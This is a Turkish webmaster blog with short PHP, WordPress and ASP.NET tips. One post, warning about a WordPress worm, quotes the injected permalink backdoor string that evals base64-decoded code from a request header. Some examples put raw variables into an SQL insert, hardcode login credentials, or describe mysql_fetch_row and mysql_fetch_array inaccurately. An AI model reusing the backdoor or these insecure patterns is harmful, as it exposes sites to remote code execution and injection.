PHP Curl fonksiyonunu kullanırken aşağıdaki şekilde bir hata aldım.
PHP Fatal error: Call to undefined function curl_init()….
Hatayı çözmek için php.ini dosyasında değişiklik yapmak gerekiyor.
php.ini dosyasının yolu:
D:\xampp\apache\bin\php.ini
ya da wampserver için sol tık php-php.ini
Aşağıdaki değişikliği yapmanız gerekli:
;extension=php_curl.dll satırının başındaki noktalı virgül kaldırılır.
Eski:
;extension=php_bz2.dll
;extension=php_curl.dll
;extension=php_dba.dll
Yeni:
;extension=php_bz2.dll
extension=php_curl.dll
;extension=php_dba.dll
Mayıs 18th, 2010 | Kategori: PHP | Yorum Yok
Bir url adresine ait içeriği almak için kullanılan file_get_contents fonksiyonu Türkçe karakterleri tanımıyor ve bunlar yerine farklı karakterler çıkarıyor.Aslında bu fonksiyon çeviriyi Türkçe karater desteği olan UTF-8 kodlamasına göre çevirmiyor. Sorunun kaynağı bu. İnternette çeşitli fonksiyonlar yazmışlar. Bu fonksiyonlar str_replace ile bozuk karakterleri, normal Türkçe hallarin çeviriyor. Fakat birçoğunda da ilginç bir şekilde Ş harfi çevrilmiyor.Bu problemin çözümü aslında çok kolay. iconv fonksiyonu ile karakter seti Türkçe olarak ayarlanabiliyor. file_get_content ile içeriği alır almaz karakterleri Türkçeye çevirmek yeterli. Aşağıda bir örnek kod yazdım.$butun=file_get_contents($adres);$butun = iconv(”UTF-8″,”ISO-8859-9″,$butun);Düzeltme: Aslında o kadarda kolay değilmiş. Bazı sitelerde karakterler ISO-8859-9 olmadığı için iconv fonksiyonu çeviri yapamıyor. Bu tür durumlar için ignore(atla) ya da translit(en yakına çevir) kullanmak gerekiyor. Ben bi kaç sitede aşağıdaki şekilde kullandım. $sayfa=file_get_contents($url);$sayfa = iconv(”UTF-8″,”ISO-8859-9//TRANSLIT”,$sayfa);Ben buradan baktım. Sizde kullanım örneklerini inceleyebilirsiniz.Biraz program ilerleyince iconv kullanmaktan vazgeçtim. Çünkü; iconv bazı sitelerde Türkçe karakter çevirisinde hata veriyor. Şimdi başka yöntemler denemeyi düşünüyorum.
Mayıs 6th, 2010 | Kategori: PHP | Yorum Yok
Wordpress 2.8.4 numaralı sürümlerinden önce bir açık olduğu tespit edilmiş. Ortalıkta dolaşan bir worm kendisini yönetici olarak sitenize ekliyor ve sitenin kalıcı bağlantılarını değiştiriyor.
Kalıcı bağlantının sonuna aşağıdaki kodu ekliyor:
%&(%7B$%7Beval(base64_decode($_SERVER[HTTP_EXECCODE]))%7D%7D%7C.+)&%/
Ayrıca internet explorer ile bağlantılar çalışmıyor.
Hatanın Çözümü:
Hatayı çözmek için Yazının tamamını okuyun »
Mayıs 4th, 2010 | Kategori: WordPress | Yorum Yok
Wordpress sitelerimin sürümleri 2.3′dü ve bugün sitelerimin sürümlerini son sürüme yani 2.9′a çıkartmak istedim.
İnternette yaptığım araştırma sonucunda özet olarak aşağıdaki işlemleri yapmam gerektiğini yazmışlar.
- Sitenin veritabanının ve ftp ile dosyalarının yedeğini alın.
- /wp-content,/wp-images, /wp-includes/languages klasörleri ve /wp-config.php dosyası dışında bütün wordpress dosyalarını silin. Ayrıca /wp-content/cache klasörünü de silmelisiniz.
- Gönderme bitince /wp-admin/upgrade.php dosyasını çalıştırın.
Fakat benim sitelerimde /wp-images ve /wp-includes/languages klasörleri zaten yoktu. Başka bir yerde farklı bir yöntem okudum. Pratik bir yöntem ve onu denemeye karar verdim. Bu yönteme göre aşağıdaki adımları izlemek gerekiyor. Yazının tamamını okuyun »
Mayıs 4th, 2010 | Kategori: WordPress | 1 Yorum
Bir web adresinde türkçe karakter kullanılması tavsiye edilmez. Fakat bazı google aramalarında Türkçe karakterlere rastlayabilirsiniz. Mesela google ile “yeryüzündeki su kaynakları” şeklinde bir arama yaparsanız kaşınıza ilk aşağıdaki sonuç çıkar.
tr.wikipedia.org/wiki/Yeryüzündeki_su_kaynakları
Yukarıda google’ın çıkardığı sonuç görülmekte ve bu sonuçta Türkçe karakterler bulunmaktadır. Yukarıdaki adres aslında aşağıdaki gibidir.
http://tr.wikipedia.org/wiki/Yery%C3%BCz%C3%BCndeki_su_kaynaklar%C4%B1
Bu adreste direk Türkçe karakterler kullanılmamıştır. Zaten direk Türkçe karakter kullanmak doğru değildir. Bunun yerine Türkçe karakterlerin yerine bu karekterlerin UTF-8 kod karşılıkları kullanılmıştır. Bu karşılıklar google tarafından Türkçe karşılıklarına çevrilerek gösterilmişlerdir.
PHP ile URL Adresindeki Türkçe Karakterleri UTF-8 Olarak Değiştirmek:
Php sitelerde genellikle Türkçe karakterler en yakın ingilizce karakterlere çevrilir. Mesela yularıdaki örnekteki URL adresi Yazının tamamını okuyun »
Mayıs 3rd, 2010 | Kategori: PHP, SEO | Yorum Yok
Php ile mysql veritabanına kayıt girişi yapıldıktan sonra; bu girilen kaydın id numarası(primary key) bulunmak istenebilir. Bunu yapmak için mysql_insert_id fonksiyonu kullanılır.
php-mysql insert into örnekleri
mysql_query(”insert into yazi(`baslik`,`icerik`) values ($baslik,$icerik) ”);
$son_id=mysql_insert_id();
Nisan 12th, 2010 | Kategori: PHP, PHP MYSQL | 2 Yorum
Daha 10 gün önce bir adsense hesabı açtım. Dün hesabıma webmaster forumlarından birinden aldığım bir siteyi ekledim. Bugünde kazançlara bakarken yeni sitenin %15 civarında bir tıklama oranı olduğunu gördüm. Mail atim dedim Yazının tamamını okuyun »
Nisan 6th, 2010 | Kategori: WebMaster Araçları | 2 Yorum
PHP ile program yazarken aşağıdaki hata mesajını aldım.
Fatal error: Maximum execution time of 30 seconds exceeded in C:\wamp\www\bot\adres-al3.php on line 19
Bu hata mesajı yapılan işlemin 30 saniyeden fazla sürdüğü için hata oluştuğunu söylüyor. Bunu düzeltmek için php.ini dosyasında max_execution_time değerini 30′dan yüksek bir sayı olarak değiştirmek gerekiyor.
Mart 2nd, 2010 | Kategori: PHP | Yorum Yok
Bu yazıda asp.net ile üye giriş ekranı oluşturulacak. Fakat veritabanı bağlantısı yapılmadan sadece 1 kullanıcı adı ve şifreye göre giriş yaptırılacak.
Uygulamanın ekran görüntüsü aşağıdaki gibi olacak.

<script language=”vbscript” runat=”server”>
Sub kontrol(ByVal sender As Object, ByVal e As EventArgs) If ((kadi.Text= “”) Or (sifre.text = “”)) Then
sonuc.Text = “Alanlar Boş Bırakılamaz…”
ElseIf ((kadi.Text = “sitedefteri”) And (sifre.Text = “sd123″)) Then sonuc.Text = “Giriş Başarılı”
Elsesonuc.Text = “Kullanıcı adı veya şifre yanlış.”
End If End Sub </script><form runat=”server”><asp:label id=”k” text=”Kullanıcı Adı:” runat=”server”></asp:label>
<asp:textbox id=”kadi” runat=”server”>
</asp:textbox>
<asp:label id=”s” text=”Şifre:” runat=”server”>
</asp:label>
<asp:textbox id=”sifre” textmode=”password” runat=”server”>
</asp:textbox>
<asp:button id=”giris” text=”Giriş Yap” onclick=”kontrol” runat=”server” />
<asp:label id=”sonuc” runat=”server”>
</asp:label>
</form>
Şubat 9th, 2010 | Kategori: asp.net | Yorum Yok
mysql_fetch_row ve mysql_fetch_array komutları php ile mysql veritabanından kayıt çekmek için kullanılır. Aralarındaki fark; mysql_fetch_row ile tek kayıt yani tek sonuc döndürülür. mysql_fetch_array ise birden fazla kayıt döndürmek için kullanılır.
Bunu bir örnekle açıklayalım. Aşağıdaki şekilde bir mysql veritabanımız olduğunu varsayalım.
yazilar Tablosu:
| Yazi_id |
Yazi_baslik |
icerik |
| 1 |
Baslik1 |
İçerik1 |
| 2 |
Baslik2 |
İçerik2 |
| 3 |
Baslik3 |
İçerik3 |
| 4 |
Baslik4 |
İçerik4 |
Yukarıdaki tabloda birkaç sorgulama yapalım.
Örnek 1: Bütün kayıtların başlık ve içeriğini listeleme. Yazının tamamını okuyun »
Kasım 16th, 2009 | Kategori: PHP, PHP MYSQL | 2 Yorum